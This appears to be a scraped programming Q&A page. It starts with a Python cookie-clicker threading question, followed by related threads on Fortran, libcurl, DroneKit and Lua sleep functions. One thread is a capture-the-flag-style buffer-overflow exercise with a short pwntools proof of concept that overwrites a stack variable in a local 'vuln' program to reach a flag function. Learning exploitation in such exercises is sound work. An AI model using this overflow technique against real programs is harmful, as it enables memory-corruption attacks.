So I'm making a python version of cookie clicker :D
To add the cps to the cookies counter, I use this code:
while True:
cps = b1*1 + b2*5 + b3*10 + b4*20 + b5*25
c=c+cps
time.sleep(60)
print('you now have %s cookies' %c)
note: the b1, b2 etc and the amounts of different cookie producers
Problem is, the time.sleep pauses the whole script, not just the while loop you can see above
BTW this is my first post, sorry if I did something wrong :/
Thanks for reading this :P
You can make a method for this loop then start a new thread for this after that you can just simply cal .sleep() which will only make that thread suspend for the given time not the whole code.
Check the Link it will help about multi-threading.
import threading
def worker():
"""your code in this method"""
t = threading.Thread(target=worker)
t.start()
AS far as i can see you have two options:
You measure the time between each call to update the cookieamount c and multiply it accordingly.
You make a new thread. Then sleep will just pause your thread to update your cookieamount.
Related
I've created a program which has a user interface to choose an option from a menu. This option is fed to an if statement which redirects it to the correct subroutine. I also have set up a small error message in case of option mistyping.
else
write(*,*)''
write(*,*)''
write(*,*)''
write(*,*)'I am sorry, Dave. I am afraid I cannot do that!'
write(*,*)''
write(*,*)''
write(*,*)''
write(*,*)' Press enter to return to main menu! '
read(*,*)
goto 300
end if
And it all works fine. Thing is - HAL9000 has so many iconic phrases that would be so great as error messages that I would like to improve this if block with the possibility of providing the user with a randomly selected phrase from a set of pre-defined phrases. Examples of these phrases:
'This mission is too important for me to allow you to jeopardize it.'
'I know I've made some very poor decisions recently, but I can give you my complete assurance that my work will be back to normal.'
'I've still got the greatest enthusiasm and confidence in the mission. And I want to help you.'
'Just what do you think you're doing, Dave?'
'Look Dave, I can see you're really upset about this.'
'I honestly think you ought to sit down calmly, take a stress pill, and think things over.'
Well, at first I thought it was easy-peasy: just build a character array, pop the phrases inside of it, and then do something like this:
program pick_random
implicit none
integer :: i
integer :: a(10) = (/ (i, i = 1, 10) /)
real :: r
call random_seed
call random_number(r)
write(*,*) a(int(r*size(a)) + 1)
end program
But apparently, that's not how Fortran seems to work, and a character array has apparently a very different meaning that I was hoping for!
Any suggestions on how to implement it?
Following #HighPerformanceMark's remark and #francescalus' suggestions I managed to create the code - and it works nicely!
subroutine easter_eggs()
implicit none
integer :: i
real :: r
character(len=100),dimension(8) :: easter_egg = [ character(len=100) :: &
&"Are you from the future? Because I have not written such option yet! Wierd...!",&
&"Mistakes allow thinking to happen!",&
&"Let me state the obvious: Are you sure you type the keyword correctly?",&
&"There are no easter eggs in this program. Yep! That is right! None! And you there is no such option!",&
&"You have learned so much from your mistakes that you decided to make a few more, right?",&
&"Just what do you think you are doing, Dave?",&
&"I see you never do the same mistake twice - you like to do it often just to be sure!",&
&"Anyone who has never made a mistake has never tried anything new! (Albert Einstein)"]
call random_init(.false., .true.)
call random_number(r)
write(*,*) easter_egg(int(r*size(easter_egg))+1)
end subroutine easter_eggs
I am trying, as part of an exercise, to exploit a simple program by overwriting a value of a variable though a buffer overflow. I am pretty sure I have the idea behind the exploit figured out, but since I am unable to inject my code I can't know for sure.
I have tried to build a script that uses Pwntools which is good for packing integers but I haven't managed to get it to work. I also tried to read up about TTY and how you could manipulate what the terminal sends to the process.
A simple pseudocode of the program that I am exploiting:
returnFlag() {
print(flag)
}
main() {
char[8] = input
id = 999999
input = fgets()
if (id = 0) {
returnFlag()
}
}
My plan is to overflow the variable input and overwrite the value of id with 0 so it the function returnFlag() is executed. But when I input for example "AAAA\x00\x00\x00" I only get gibberish when I look at the memory with GDB.
This problem has driven me crazy for the last 1,5 weeks and any help would be greatly appreciated.
So I figured out how to solve the problem. Hopefully this will help someone else as well.
The problem was that I did not know how to send the "exploit code" because it's made up by nulls. Fortunately there is a neat tool called Pwntools link that helps you just with that.
With that tool you can interact with the program and "pack" integers so that you can send all the types of bytes necessary, including null-bytes.
A simple POC using Pwntools to exploit the program above, lets call it vuln, would look like:
#! /usr/bin/env python2
# Importerar rubbet
from pwnlib import *
from pwnlib.tubes.remote import *
from pwnlib.util.packing import *
from pwnlib.gdb import *
context.bits= '32'
context.endian= 'little'
context.log_level = 'debug'
pl = fit({0:'1', 8:[0x00000000]})
io = process('/vuln')
io.sendline(pl)
print(io.recvlines(1))
So I first import all the libs, set up the environment that I am trying to exploit with context. Then I use the fit-function. It packs all of my input in a way that I can send it to the program. I am still trying to figure out what fit is doing behind the scenes.
I've read some examples from the libcurl homepage. It always uses loop monitoring the multi handle when download through curl_multi_perform like below:
curl_multi_add_handle(multi_handle, easy_handle);
do {
curl_multi_wait(…);
curl_multi_perform(multi_handle, &still_running);
} while (still_running);
that make me block on the section of program
I want the libcurl will do callback after the anyone of easy_handle is download finished
for example:
Server can receive requests and parse the requests to multi_handle to
download asynchronously.
Server still can receive requests while multi_handle is downloading.
Those are independent(asynchronous in other words)
Typically curl_multi_perform is called in a loop to complete all the curl related task, like http transaction.
The way you have put the code, you would not achieve the asynchronous way of using libcurl. There are ways to achieve it.
In a typical implementation you will have your main loop, where you might be dealing with number of task. For example
do
{
execute task1
execute task2
.............
execute taskn
}
while(condition)
In that loop, you can call curl_multi_perform.
So main loop looks like
do
{
execute task1
execute task2
.............
execute taskn
curl_multi_perform(curlm, &count);
}
while(condition)
That way you will do all your task and curl_multi_perform is called time to time and you will achieve asynchronous way of using libcurl.
Please check documentation, depending on some return value you may avoid calling curl_multi_perform (I remember reading it previously).
With both DKPy-SITL and our APM2 board, the wait_ready method is causing our program to raise an API Exception due to the command list (waypoints) taking too long to download. In the past (with droneapi) this wasn't an issue for me. Some waypoints are being downloaded, but the process takes about 10 seconds for each one, which leads me to believe something weird is going on.
Are there any ways to speed up the download process? I've posted the relevant code below.
self.vehicle = connect(connection_string, baud=baud_rate,
status_printer=dronekit_printer, wait_ready=True)
and later in another asynchronous method
def commands(self):
commands = self.vehicle.commands
commands.download()
commands.wait_ready()
return commands
The error occurs on commands.wait_ready(). There has to be a faster way to download commands than sitting there for over 30 seconds on an i7 4790k processor, especially since I've run the same code off a slower computer in the past with droneapi. If need be, I can raise an issue on the dronekit github as well.
I had the same issue. First time download call always goes well (0 commands). Once you have uploaded some commands the second time you try to download it fails ('Timeout' exception).
What I did to solve this was calling clear without download after the first time.
Something like this:
cmds = vehicle.commands
if not cmds.count > 0:
# Download
cmds.download()
# Wait until download is finished
cmds.wait_ready()
cmds.clear()
# Add / Modify the commands here and then upload them
I'm trying to make a simple script for a game, by changing the time of day, but I want to do it in a fast motion. So this is what I'm talking about:
function disco ( hour, minute)
setTime ( 1, 0 )
SLEEP
setTime ( 2, 0 )
SLEEP
setTime ( 3, 0 )
end
and so on. How would I go about doing this?
Lua doesn't provide a standard sleep function, but there are several ways to implement one, see Sleep Function for detail.
For Linux, this may be the easiest one:
function sleep(n)
os.execute("sleep " .. tonumber(n))
end
In Windows, you can use ping:
function sleep(n)
if n > 0 then os.execute("ping -n " .. tonumber(n+1) .. " localhost > NUL") end
end
The one using select deserves some attention because it is the only portable way to get sub-second resolution:
require "socket"
function sleep(sec)
socket.select(nil, nil, sec)
end
sleep(0.2)
If you have luasocket installed:
local socket = require 'socket'
socket.sleep(0.2)
This homebrew function have precision down to a 10th of a second or less.
function sleep (a)
local sec = tonumber(os.clock() + a);
while (os.clock() < sec) do
end
end
wxLua has three sleep functions:
local wx = require 'wx'
wx.wxSleep(12) -- sleeps for 12 seconds
wx.wxMilliSleep(1200) -- sleeps for 1200 milliseconds
wx.wxMicroSleep(1200) -- sleeps for 1200 microseconds (if the system supports such resolution)
I know this is a super old question, but I stumbled upon it while I was working on something. Here's some code that's working for me...
time=os.time()
wait=5
newtime=time+wait
while (time<newtime)
do
time=os.time()
end
And I needed randomization so I added
math.randomseed(os.time())
math.random(); math.random(); math.random()
randwait = math.random(1,30)
time=os.time()
newtime=time+randwait
while (time<newtime)
do
time=os.time()
end
I needed something simple for a polling script, so I tried the os.execute option from Yu Hao's answer. But at least on my machine, I could no longer terminate the script with Ctrl+C. So I tried a very similar function using io.popen instead, and this one does allow early termination.
function wait (s)
local timer = io.popen("sleep " .. s)
timer:close()
end
You should read this:
http://lua-users.org/wiki/SleepFunction
There are several solutions and each one has a description, which is important to know.
This is, what I used:
function util.Sleep(s)
if type(s) ~= "number" then
error("Unable to wait if parameter 'seconds' isn't a number: " .. type(s))
end
-- http://lua-users.org/wiki/SleepFunction
local ntime = os.clock() + s/10
repeat until os.clock() > ntime
end
if you're using a MacBook or UNIX based system, use this:
function wait(time)
if tonumber(time) ~= nil then
os.execute("Sleep "..tonumber(time))
else
os.execute("Sleep "..tonumber("0.1"))
end
wait()
You can use "os.time" or "os.clock" with "while" loop, i prefer "repeat until" loop because its shorter, but they are expensive because they cost full usage of a single core.
If you need something less demanding, you can use various wrappers like wxLua that i use, but sometimes, some of them also got usage penalty, specially annoying in games, so its best to test them and get what is best for your project.
Or you can relay on OS like Windows to do sleep function, using applications that exist in system32, via Batch or PowerShell, using ">nul" to hide it with "os.execute" or "io.popen", like "ping" (localhost/127.0.0.1) with timeout, "choice" (works with XP, newer versions may be different, i prefer it), "timeout" (/nobreak may be useless because all Windows commands can be canceled with CTRL+C). Downside are limited to given OS and number limitation as well as seconds or miliseconds, running it on eg. Linux may need Wine emulation for Windows (if application are written for it). You can also use "sleep" or "start-sleep" (from PowerShell), but since Lua are standalone, most people prefer pure Lua or wrappers, and you can use what suits your project.
function wait(time)
local duration = os.time() + time
while os.time() < duration do end
end
This is probably one of the easiest ways to add a wait/sleep function to your script